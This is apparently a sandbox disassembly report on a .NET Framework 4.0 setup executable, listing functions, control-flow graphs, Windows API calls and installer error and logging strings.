                    Function 00AD6C5C Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 242stringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 319 ad6c5c-ad6c8f GetCommandLineW CommandLineToArgvW 320 ad6cc4-ad6cd0 319->320 321 ad6c91-ad6c9b GetLastError 319->321 322 ad6cd6 320->322 323 ad6e73-ad6e76 320->323 324 ad6c9d-ad6ca9 321->324 325 ad6cab 321->325 326 ad6cdc-ad6cea 322->326 327 ad6e78-ad6e83 call ad99d2 323->327 328 ad6e97-ad6e9a 323->328 324->325 329 ad6cad 325->329 330 ad6cb2-ad6cbf call ad854a 325->330 332 ad6cec-ad6cef 326->332 333 ad6cf5-ad6cff lstrlenW 326->333 348 ad6e85 327->348 349 ad6e94 327->349 335 ad6e9c-ad6ea2 328->335 329->330 345 ad6ee8-ad6eed 330->345 332->333 339 ad6e60-ad6e6a 332->339 340 ad6d3e-ad6d49 lstrlenW 333->340 341 ad6d01-ad6d18 CompareStringW 333->341 336 ad6eb5-ad6ebb 335->336 337 ad6ea4-ad6eb3 335->337 343 ad6ebd-ad6ebf 336->343 344 ad6ed5 336->344 337->343 339->326 346 ad6e70 339->346 350 ad6d8e-ad6d99 lstrlenW 340->350 351 ad6d4b-ad6d62 CompareStringW 340->351 341->340 347 ad6d1a-ad6d2e call ad8889 341->347 343->335 352 ad6ec1-ad6ec5 343->352 355 ad6edc 344->355 346->323 347->339 371 ad6d34-ad6d39 347->371 357 ad6e8a-ad6e92 call ad854a 348->357 349->328 353 ad6ddb-ad6de6 lstrlenW 350->353 354 ad6d9b-ad6db2 CompareStringW 350->354 351->350 358 ad6d64-ad6d7e call ad8889 351->358 360 ad6ecd-ad6ed3 352->360 361 ad6ec7-ad6ecb 352->361 364 ad6e08-ad6e13 lstrlenW 353->364 365 ad6de8-ad6dfe CompareStringW 353->365 354->353 362 ad6db4-ad6dcb call ad8889 354->362 363 ad6ede-ad6ee7 LocalFree 355->363 357->363 358->339 376 ad6d84-ad6d89 358->376 360->355 361->335 361->360 362->339 380 ad6dd1-ad6dd6 362->380 363->345 373 ad6e15-ad6e2b CompareStringW 364->373 374 ad6e32-ad6e3d lstrlenW 364->374 365->364 370 ad6e00-ad6e06 365->370 370->339 371->357 373->374 378 ad6e2d-ad6e30 373->378 374->339 375 ad6e3f-ad6e55 CompareStringW 374->375 375->339 379 ad6e57-ad6e5a 375->379 376->357 381 ad6e5d 378->381 379->381 380->357 381->339
                    APIs
                    • GetCommandLineW.KERNEL32(?,00000000,00AFBEF0), ref: 00AD6C76
                    • CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00AD6C84
                    • GetLastError.KERNEL32 ref: 00AD6C91
                    • lstrlenW.KERNEL32(00000001), ref: 00AD6CF6
                    • CompareStringW.KERNEL32(0000007F,00000001,-00000002,00000002,00AD3E10,000000FF), ref: 00AD6D13
                    • lstrlenW.KERNEL32(?), ref: 00AD6D40
                    • CompareStringW.KERNEL32(0000007F,00000001,-00000002,00000002,00AD3E34,000000FF), ref: 00AD6D5D
                    • lstrlenW.KERNEL32(?), ref: 00AD6D90
                    • CompareStringW.KERNEL32(0000007F,00000001,-00000002,00000002,00AD3E64,000000FF), ref: 00AD6DAD
                    • lstrlenW.KERNEL32(?), ref: 00AD6DDD
                    • CompareStringW.KERNELBASE(0000007F,00000001,-00000002,00000001,00AD3E6C,000000FF), ref: 00AD6DF9
                    • LocalFree.KERNEL32(?), ref: 00AD6EE1
                    Strings
                    • Failed to allocate box path, xrefs: 00AD6D34
                    • Failed to allocate log, xrefs: 00AD6DD1
                    • Failed to get command line., xrefs: 00AD6CB2
                    • Failed to get path to executable., xrefs: 00AD6E85
                    • Failed to allocate extract directory, xrefs: 00AD6D84
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: CompareStringlstrlen$CommandLine$ArgvErrorFreeLastLocal
                    • String ID: Failed to allocate box path$Failed to allocate extract directory$Failed to allocate log$Failed to get command line.$Failed to get path to executable.
                    • API String ID: 881607980-1268566871
                    • Opcode ID: 9641794460ee574cbfac73117ac167e302ddafefe2ee08f7082c451cf57478db
                    • Instruction ID: be2b048aaad0c803f8d4885ab00e1752dd6266b2fe29888335e1b15c0a723e1f
                    • Opcode Fuzzy Hash: 9641794460ee574cbfac73117ac167e302ddafefe2ee08f7082c451cf57478db
                    • Instruction Fuzzy Hash: 6A71C27AE40215BBDB209F98DC85A7A77A5EF14760B244A2BF893E73D0CA34DD41CB50
                    Function 00ADA505 Relevance: 21.1, APIs: 14, Instructions: 135memoryfileCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 533 ada505-ada531 call ad9b6a 536 ada675-ada67b 533->536 537 ada537-ada53d 533->537 538 ada543-ada54d 537->538 539 ada54f-ada564 GetProcessHeap RtlAllocateHeap 538->539 540 ada572-ada589 GetProcessHeap HeapReAlloc 538->540 541 ada58e-ada5af ReadFile 539->541 542 ada566-ada56d 539->542 543 ada58b 540->543 544 ada603-ada60a 540->544 545 ada60c-ada617 GetLastError 541->545 546 ada5b1-ada5d4 call ada681 541->546 542->536 543->541 547 ada658-ada65c 544->547 550 ada619-ada623 545->550 551 ada626-ada62a 545->551 546->538 555 ada5da-ada5dc 546->555 547->536 549 ada65e-ada66e GetProcessHeap HeapFree 547->549 549->536 554 ada670 call ad9a29 549->554 550->551 551->547 552 ada62c-ada633 551->552 552->547 554->536 555->547 557 ada5de-ada5ed GetProcessHeap HeapAlloc 555->557 557->544 558 ada5ef-ada601 GetProcessHeap HeapAlloc 557->558 558->544 559 ada635-ada655 call af1150 * 2 558->559 559->547
                    APIs
                      • Part of subcall function 00AD9B6A: SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD9B82
                      • Part of subcall function 00AD9B6A: GetLastError.KERNEL32(?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00AD9B8C
                    • GetProcessHeap.KERNEL32(00000008,00020000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA55A
                    • RtlAllocateHeap.NTDLL(00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA55D
                    • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA57E
                    • HeapReAlloc.KERNEL32(00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA581
                    • ReadFile.KERNELBASE(00000000,00000000,?,00000000,00000000), ref: 00ADA5A7
                    • GetProcessHeap.KERNEL32(00000008,00AFBEF0,00000000,?,?,00AD5AF6,00AFBEF0,?), ref: 00ADA5E3
                    • HeapAlloc.KERNEL32(00000000), ref: 00ADA5E6
                    • GetProcessHeap.KERNEL32(00000008,8B000006), ref: 00ADA5F7
                    • HeapAlloc.KERNEL32(00000000), ref: 00ADA5FA
                    • GetLastError.KERNEL32 ref: 00ADA60C
                    • GetProcessHeap.KERNEL32(00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA663
                    • HeapFree.KERNEL32(00000000,?,?,00AD5AF6,00AFBEF0), ref: 00ADA666
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$Process$Alloc$ErrorFileLast$AllocateFreePointerRead
                    • String ID:
                    • API String ID: 3945950964-0
                    • Opcode ID: baf63afb6ec6c6d0f693ff960319dd787bd143ee68101564e76c68154203e6b0
                    • Instruction ID: 9300c799f3f6ad712e98d30510afd0b6473cd1cdb1ed39667eab5c40d193abbc
                    • Opcode Fuzzy Hash: baf63afb6ec6c6d0f693ff960319dd787bd143ee68101564e76c68154203e6b0
                    • Instruction Fuzzy Hash: D34114B1D0021AFBDF10DFE5C944BAEBBB8FF08340F14815AE606E6250E775DA509B91
                    Function 00AD7AE7 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 105COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 626 ad7ae7-ad7b0c SetErrorMode * 2 627 ad7b0f-ad7b1c call ad746a 626->627 630 ad7bec-ad7bf1 627->630 631 ad7b22-ad7b3d call ad8b7e 627->631 633 ad7bff-ad7c07 call ad854a 630->633 637 ad7bf3-ad7bf8 631->637 638 ad7b43-ad7b55 call ad9926 631->638 639 ad7bc4-ad7bc7 633->639 637->633 644 ad7b5b-ad7b6b CreateDirectoryW 638->644 645 ad7bfa 638->645 642 ad7bc9-ad7bcc call ad8e6f 639->642 643 ad7bd1-ad7bd4 639->643 642->643 647 ad7bde-ad7be9 SetErrorMode 643->647 648 ad7bd6-ad7bd9 call ad8e6f 643->648 649 ad7b6d-ad7b76 RemoveDirectoryW 644->649 650 ad7b82-ad7b84 644->650 645->633 648->647 649->650 652 ad7b78-ad7b7c MoveFileExW 649->652 653 ad7b8c-ad7b8f 650->653 654 ad7b86-ad7b87 call ad8e6f 650->654 652->650 656 ad7b99-ad7b9c 653->656 657 ad7b91-ad7b94 call ad8e6f 653->657 654->653 659 ad7b9e-ad7ba1 call ad8e6f 656->659 660 ad7ba6-ad7baf 656->660 657->656 659->660 662 ad7c09-ad7c0b 660->662 663 ad7bb1-ad7bbb 660->663 662->647 663->627 664 ad7bc1-ad7bc3 663->664 664->639
                    APIs
                    • SetErrorMode.KERNEL32(00000000,00000000,?,?,?,?,?,00AD78B7,?,?), ref: 00AD7B01
                    • SetErrorMode.KERNELBASE(00000000,?,?,?,00AD78B7,?,?,?,?,?,?,?,?,?,?,00AD6F09), ref: 00AD7B0A
                      • Part of subcall function 00AD746A: UuidCreate.RPCRT4(?), ref: 00AD7496
                      • Part of subcall function 00AD746A: RpcStringFreeW.RPCRT4(00000000), ref: 00AD74FF
                    • CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,00AD78B7,?,?), ref: 00AD7B60
                    • RemoveDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,00AD78B7,?,?), ref: 00AD7B6E
                    • MoveFileExW.KERNEL32(?,00000000,00000004,?,?,?,?,?,?,?,00AD78B7,?,?), ref: 00AD7B7C
                    • SetErrorMode.KERNELBASE(?,?,?,?,?,00AD78B7,?,?), ref: 00AD7BE1
                    Strings
                    • Failed to allocate long path, xrefs: 00AD7BFA
                    • Unable to generate random directory name, xrefs: 00AD7BF3
                    • Unable to generate random name, xrefs: 00AD7BEC
                    • %s%s, xrefs: 00AD7B2B
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorMode$CreateDirectory$FileFreeMoveRemoveStringUuid
                    • String ID: %s%s$Failed to allocate long path$Unable to generate random directory name$Unable to generate random name
                    • API String ID: 1102146613-1274944306
                    • Opcode ID: 4cd2860cb6f91aaa99cc1709db61de06013a7bb898a9102342a024710a42607d
                    • Instruction ID: 91436dada49636282967bf762e4a21a5dc01bace0907fbeb284937e1671bb616
                    • Opcode Fuzzy Hash: 4cd2860cb6f91aaa99cc1709db61de06013a7bb898a9102342a024710a42607d
                    • Instruction Fuzzy Hash: 8F313672D08269BFCF15AFE48D818EEFBB8FF04710B11486BE513B2211EB354E419A91
                    Function 00AD7CD0 Relevance: 16.7, APIs: 2, Strings: 9, Instructions: 178COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1011 ad7cd0-ad7d00 call ad87eb 1014 ad7d14-ad7d1d call ad805a 1011->1014 1015 ad7d02 1011->1015 1020 ad7d1f-ad7d24 1014->1020 1021 ad7d26 1014->1021 1016 ad7d07-ad7d0f call ad854a 1015->1016 1023 ad7e80-ad7e83 1016->1023 1020->1016 1024 ad7d2d-ad7d32 1021->1024 1025 ad7e8d-ad7e90 1023->1025 1026 ad7e85-ad7e88 call ad8e6f 1023->1026 1027 ad7d5c-ad7d6a 1024->1027 1028 ad7d34-ad7d3e GetLastError 1024->1028 1030 ad7e9a-ad7e9d 1025->1030 1031 ad7e92-ad7e95 call ad8e6f 1025->1031 1026->1025 1045 ad7d6c-ad7d76 GetLastError 1027->1045 1046 ad7d97-ad7da4 1027->1046 1032 ad7d4e 1028->1032 1033 ad7d40-ad7d4c 1028->1033 1035 ad7ead-ad7eb0 1030->1035 1036 ad7e9f-ad7ea6 1030->1036 1031->1030 1037 ad7d55-ad7d5a 1032->1037 1038 ad7d50 1032->1038 1033->1032 1041 ad7ec0-ad7ec3 1035->1041 1042 ad7eb2-ad7eb9 1035->1042 1036->1035 1040 ad7ea8 1036->1040 1037->1016 1038->1037 1040->1035 1043 ad7ec5-ad7ecc 1041->1043 1044 ad7ed3-ad7ed8 1041->1044 1042->1041 1047 ad7ebb 1042->1047 1043->1044 1049 ad7ece 1043->1049 1050 ad7d78-ad7d84 1045->1050 1051 ad7d86 1045->1051 1048 ad7e3c-ad7e45 call ad8341 1046->1048 1047->1041 1056 ad7da9-ad7dac 1048->1056 1057 ad7e4b-ad7e50 1048->1057 1049->1044 1050->1051 1053 ad7d8d-ad7d92 1051->1053 1054 ad7d88 1051->1054 1053->1016 1054->1053 1058 ad7e52-ad7e5d 1056->1058 1059 ad7db2-ad7de1 call ad84c7 call ad7ee0 1056->1059 1060 ad7e6b-ad7e72 call ad854a 1057->1060 1062 ad7e73-ad7e76 1058->1062 1071 ad7e5f-ad7e64 1059->1071 1072 ad7de3-ad7de6 1059->1072 1060->1062 1062->1023 1064 ad7e78-ad7e7b call ad8e6f 1062->1064 1064->1023 1071->1060 1073 ad7e0f-ad7e1e 1072->1073 1074 ad7de8-ad7e0d call ad84c7 call ad8abb 1072->1074 1078 ad7e28-ad7e39 1073->1078 1079 ad7e20-ad7e23 call ad8e6f 1073->1079 1074->1073 1083 ad7e66 1074->1083 1078->1048 1079->1078 1083->1060
                    APIs
                      • Part of subcall function 00AD87EB: GetProcessHeap.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8802
                      • Part of subcall function 00AD87EB: HeapReAlloc.KERNEL32(00000000,?,00000104,00000104,00AD99E4,?,?,00AD6E7F), ref: 00AD8809
                    • GetLastError.KERNEL32(?,?,?,00AD7780,?,00000000,00000000,00AFBEF0,?,?,00AD6F09,?,?,00000000), ref: 00AD7D34
                    • GetLastError.KERNEL32(?,?,?,00AD7780,?,00000000,00000000,00AFBEF0,?,?,00AD6F09,?,?,00000000), ref: 00AD7D6C
                      • Part of subcall function 00AD84C7: GetLocalTime.KERNEL32(?,?,00000000,?,?,00AD6E90,00000000), ref: 00AD84E2
                      • Part of subcall function 00AD84C7: swprintf.LIBCMT ref: 00AD8513
                    Strings
                    • Failed to get the next resource in the cluster enum, xrefs: 00AD7E4B
                    • Drive map for cluster resource '%S' : '%S', xrefs: 00AD7DEE
                    • Failed to concatenate to the cluster drive map, xrefs: 00AD7E66
                    • Failed to allocate an empty drive map, xrefs: 00AD7D02
                    • Failed to get cluster drive map from resource, xrefs: 00AD7E5F
                    • Considering cluster resource: '%S'..., xrefs: 00AD7DB5
                    • Failed to open the clsuter enumeration for resources, xrefs: 00AD7D8D
                    • Failed to initialize the Cluster API, xrefs: 00AD7D1F
                    • Failed to open the current cluster, xrefs: 00AD7D55
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: ErrorHeapLast$AllocLocalProcessTimeswprintf
                    • String ID: Considering cluster resource: '%S'...$Drive map for cluster resource '%S' : '%S'$Failed to allocate an empty drive map$Failed to concatenate to the cluster drive map$Failed to get cluster drive map from resource$Failed to get the next resource in the cluster enum$Failed to initialize the Cluster API$Failed to open the clsuter enumeration for resources$Failed to open the current cluster
                    • API String ID: 196121278-1807027133
                    • Opcode ID: 172d215dd5949205eaac80c1a1abf74012a1ff1b2e6fbba631e1ffdfc7c3de40
                    • Instruction ID: 634c84915161908a8a4d3ea77672e1ee8c81427c394eae042d391889c18d6b0b
                    • Opcode Fuzzy Hash: 172d215dd5949205eaac80c1a1abf74012a1ff1b2e6fbba631e1ffdfc7c3de40
                    • Instruction Fuzzy Hash: 1C512872C0411AAFCF15AFE4CD858BEBBB5BF08300B1549ABE553B2351EB354E419B91
                    Function 00ADB07F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 169timeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1084 adb07f-adb0a2 1085 adb0a8-adb0a9 1084->1085 1086 adb234-adb23c 1084->1086 1087 adb0af-adb0b0 1085->1087 1088 adb15a-adb174 call ad8b7e 1085->1088 1089 adb23e-adb241 1086->1089 1090 adb243 1086->1090 1092 adb0be-adb0da DosDateTimeToFileTime 1087->1092 1093 adb0b2-adb0b3 1087->1093 1097 adb226-adb22a 1088->1097 1100 adb17a-adb17f 1088->1100 1094 adb246-adb24a 1089->1094 1090->1094 1098 adb0fd-adb10c CloseHandle 1092->1098 1099 adb0dc-adb0ec LocalFileTimeToFileTime 1092->1099 1096 adb0b9 1093->1096 1093->1097 1096->1086 1097->1086 1102 adb22c-adb22f call ad8e6f 1097->1102 1103 adb10e-adb128 call ad8b7e 1098->1103 1104 adb14b-adb155 1098->1104 1099->1098 1101 adb0ee-adb0f7 SetFileTime 1099->1101 1106 adb196-adb1b6 call ad96c7 call ad91d3 1100->1106 1107 adb181-adb194 1100->1107 1101->1098 1102->1086 1103->1097 1114 adb12e-adb13a call ad64d8 1103->1114 1105 adb224 1104->1105 1105->1097 1106->1097 1119 adb1b8-adb1da call ad9ca3 1106->1119 1107->1106 1115 adb143-adb146 1107->1115 1118 adb13d-adb141 1114->1118 1115->1097 1118->1104 1118->1115 1122 adb1dc-adb1e6 GetLastError 1119->1122 1123 adb1ff-adb210 SetFilePointer 1119->1123 1124 adb1e8-adb1f4 1122->1124 1125 adb1f6 1122->1125 1126 adb221 1123->1126 1127 adb212-adb21f SetEndOfFile SetFilePointer 1123->1127 1124->1125 1125->1097 1128 adb1f8-adb1fd 1125->1128 1126->1105 1127->1126 1128->1097
                    APIs
                    • DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00ADB0D2
                    • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00ADB0E4
                    • SetFileTime.KERNELBASE(?,?,?,?), ref: 00ADB0F7
                    • CloseHandle.KERNELBASE(?), ref: 00ADB100
                    • GetLastError.KERNEL32(?,40000000,00000001,00000002,08000080,?,00000000), ref: 00ADB1DC
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Time$File$CloseDateErrorHandleLastLocal
                    • String ID: %s%S
                    • API String ID: 4158775748-4203644592
                    • Opcode ID: 7fb285fc4d038495d384b4d4ab86d4f2586d8eb02e667e9be5bf1da6ccf802c6
                    • Instruction ID: 896edd563a82fc7253914be676713f02d1fb0099a925101448652df6d562d375
                    • Opcode Fuzzy Hash: 7fb285fc4d038495d384b4d4ab86d4f2586d8eb02e667e9be5bf1da6ccf802c6
                    • Instruction Fuzzy Hash: CD515B72A10706FBDB109FE5DD80BAA7BA8FF08710F11852BBA16D6290DB74D940CB60
                    Function 00ADAB0C Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115memoryfileCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1130 adab0c-adab3a call ad9b6a 1133 adac51-adac61 call ae91d5 1130->1133 1134 adab40-adab55 ReadFile 1130->1134 1135 adab57-adab62 GetLastError 1134->1135 1136 adab86-adab8a 1134->1136 1138 adab64-adab6e 1135->1138 1139 adab71-adab74 1135->1139 1140 adab8c-adab93 1136->1140 1141 adab98-adabb0 GetProcessHeap HeapAlloc 1136->1141 1138->1139 1139->1133 1143 adab7a-adab81 1139->1143 1140->1133 1144 adabbe-adabcb 1141->1144 1145 adabb2-adabb9 1141->1145 1143->1133 1146 adabce-adabe9 ReadFile 1144->1146 1145->1133 1147 adabeb-adabf1 1146->1147 1148 adac01-adac0c GetLastError 1146->1148 1147->1146 1149 adabf3-adabf6 1147->1149 1150 adac0e-adac18 1148->1150 1151 adac1b-adac1e 1148->1151 1154 adac29-adac2f 1149->1154 1155 adabf8-adabff 1149->1155 1150->1151 1152 adac20-adac27 1151->1152 1153 adac32-adac35 1151->1153 1152->1153 1153->1133 1156 adac37-adac4a GetProcessHeap HeapFree 1153->1156 1154->1153 1155->1153 1156->1133 1157 adac4c call ad9a29 1156->1157 1157->1133
                    APIs
                      • Part of subcall function 00AD9B6A: SetFilePointerEx.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00AD9B82
                      • Part of subcall function 00AD9B6A: GetLastError.KERNEL32(?,?,?,00ADA52C,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00AD5AF6,00AFBEF0), ref: 00AD9B8C
                    • ReadFile.KERNELBASE(00000000,00AD9ECF,00000024,?,00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,00AD9ECF,?), ref: 00ADAB4D
                    • GetLastError.KERNEL32(?,?,?,?,00AD9ECF,?,?,00AD6163,?,?,?,00000000,00000000), ref: 00ADAB57
                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00ADAB9C
                    • HeapAlloc.KERNEL32(00000000), ref: 00ADABA3
                    • ReadFile.KERNEL32(00000000,?,?,00000024,00000000), ref: 00ADABE1
                    • GetProcessHeap.KERNEL32(00000000,?), ref: 00ADAC3B
                    • HeapFree.KERNEL32(00000000), ref: 00ADAC42
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Heap$File$ErrorLastProcessRead$AllocFreePointer
                    • String ID: $
                    • API String ID: 1504513977-3993045852
                    • Opcode ID: b8c73153f667a5c9e7220a690256957c4c8c40367af5e95823e6155ee944814a
                    • Instruction ID: 6d46d7f9ab172dfbcb45a9aefa4f19e7a300b44a02ba7989d750c562abea2c28
                    • Opcode Fuzzy Hash: b8c73153f667a5c9e7220a690256957c4c8c40367af5e95823e6155ee944814a
                    • Instruction Fuzzy Hash: 92412671D11118EFCF11EFE9E948AEEBBB5FB18721B10802BE512E6250D7358841DF66
                    Function 00AD85B2 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 104COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 1418 ad85b2-ad85ef 1419 ad85f5-ad85fb 1418->1419 1420 ad8702-ad8705 1418->1420 1419->1420 1422 ad8601-ad8617 GetModuleFileNameW 1419->1422 1421 ad86df-ad86e5 1420->1421 1423 ad86e7-ad86ed call ad8e6f 1421->1423 1424 ad86f2-ad8701 call ae91d5 1421->1424 1425 ad8619-ad8627 call aede40 1422->1425 1426 ad862a-ad8647 call ad9a63 1422->1426 1423->1424 1425->1426 1434 ad864d-ad8653 1426->1434 1435 ad8649-ad864b 1426->1435 1436 ad8659-ad866f GetComputerNameW 1434->1436 1435->1436 1437 ad8671-ad867f call aede40 1436->1437 1438 ad8682-ad8691 call ad8e9c 1436->1438 1437->1438 1443 ad86dc-ad86de 1438->1443 1444 ad8693-ad86d4 call ad84c7 * 3 1438->1444 1443->1421 1450 ad86d9 1444->1450 1450->1443
                    APIs
                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,00000000), ref: 00AD860A
                    • _memset.LIBCMT ref: 00AD8622
                    • GetComputerNameW.KERNEL32(?,?), ref: 00AD8667
                    • _memset.LIBCMT ref: 00AD867A
                    Strings
                    Memory Dump Source
                    • Source File: 00000006.00000002.2115727744.0000000000AD1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AD0000, based on PE: true
                    • Associated: 00000006.00000002.2115703871.0000000000AD0000.00000002.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFA000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115761026.0000000000AFD000.00000004.00000001.01000000.00000005.sdmpDownload File
                    • Associated: 00000006.00000002.2115816684.0000000000AFE000.00000002.00000001.01000000.00000005.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_6_2_ad0000_dotNetFx40_Full_setup.jbxd
                    Similarity
                    • API ID: Name_memset$ComputerFileModule
                    • String ID: --- logging level: %s ---$=== Logging started: %S ===$Executable: %S v%d.%d.%d.%d$standard
                    • API String ID: 949451329-1073105773
                    • Opcode ID: fa6c10ba19ae2613ce15dad0390c049caca9681f78e5cd659a02568a209b4485
                    • Instruction ID: 02e60dd79c031b6d1205d0870aebfaef757101dd945b4605548a8ea4f487180c
                    • Opcode Fuzzy Hash: fa6c10ba19ae2613ce15dad0390c049caca9681f78e5cd659a02568a209b4485
                    • Instruction Fuzzy Hash: 0C316DF190022C6BC7219B55DC45EDBB7BCEB44714F1041A7B60AE3242DE749E85CFA4
                    Function 00AD6F5C Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 76COMMON
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(00000000,00000082,00000000,00AD7016,00AFBEF0,?,?,00000000,00AFBEF0,?,?,?,00AD6F09,?,?,00000000), ref: 00AD6FD6
                    • DialogBoxParamW.USER32(00000000,?,?,00AD6F09,?), ref: 00AD6FDD
                    Strings
                    • Failed while running the extract directory selection dialog., xrefs: 00AD6FE9
                    • Failed to get current directory, xrefs: 00AD6F8F
                    • Failed to select current directory for extraction, xrefs: 00AD6FA0
                    • Failed to select temporary directory for extraction, xrefs: 00AD6FB8
                    • Failed to select the user-specified directory for extraction, xrefs: 00AD6FFA
